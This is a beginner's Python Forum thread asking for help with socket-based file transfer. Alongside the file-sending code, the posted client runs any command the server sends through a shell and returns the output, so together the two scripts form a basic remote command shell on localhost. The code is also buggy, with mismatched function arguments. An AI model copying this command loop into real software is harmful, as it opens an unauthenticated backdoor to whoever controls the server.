Python Forum
file transfer with sockets - Printable Version

+- Python Forum (https://python-forum.io)
+-- Forum: Python Coding (https://python-forum.io/forum-7.html)
+--- Forum: Networking (https://python-forum.io/forum-12.html)
+--- Thread: file transfer with sockets (/thread-5523.html)



file transfer with sockets - sinister88 - Oct-09-2017

Hey guys i'm trying to get my server to be able to send my client files. Sorry for my horrible code i'm still pretty new and learning. Any replies will be appreciated! Thank you

Server:
import socket
import os


path = '/home/joshua/Downloads/hello.text'

def send(conn,path):

	if os.path.exists(path):
		f = open(path, 'rb')
		program = f.read(1024)
		while program != '':
			conn.send(program)
			program = f.read(1024)
		conn.send('done')
		f.close()

def connect():
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.bind(('127.0.0.1', 8080))
	s.listen(1)
	conn,addr = s.accept()
	
	while True:
		
		command = raw_input('Shell> ')
		
		if 'terminate' in command:
			conn.send('terminate')
			conn.close()
		
		elif 'send' in command:
			send(conn,path)
			
		else:
			conn.send(command)
			conn.recv(1024)

def main():
	connect()
main()
Client:
import socket
import os
import subprocess

path = '/home/joshua/pyPrograms/file.txt'

def recieve(s, path,command):
		
		s.send(command)
		f = open(path, 'wb')
		while True:
			bits = s.recv(1024)
			print(bits)
			if bits.endswith('done'):
				f.close()
				break
			f.write(bits)
		
	
	

def connect():
	
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(('127.0.0.1', 8080))
	
	while True:
		
		command = s.recv(1024)
		
		if 'send' in command:
			recieve(s,path)
		
		
		
		
		else:
			CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
			s.send( CMD.stdout.read() )
			s.send( CMD.stderr.read() )
			
def main():
	connect()
main()



RE: file transfer with sockets - heiner55 - Nov-11-2017

Could you tell us, what is your problem ?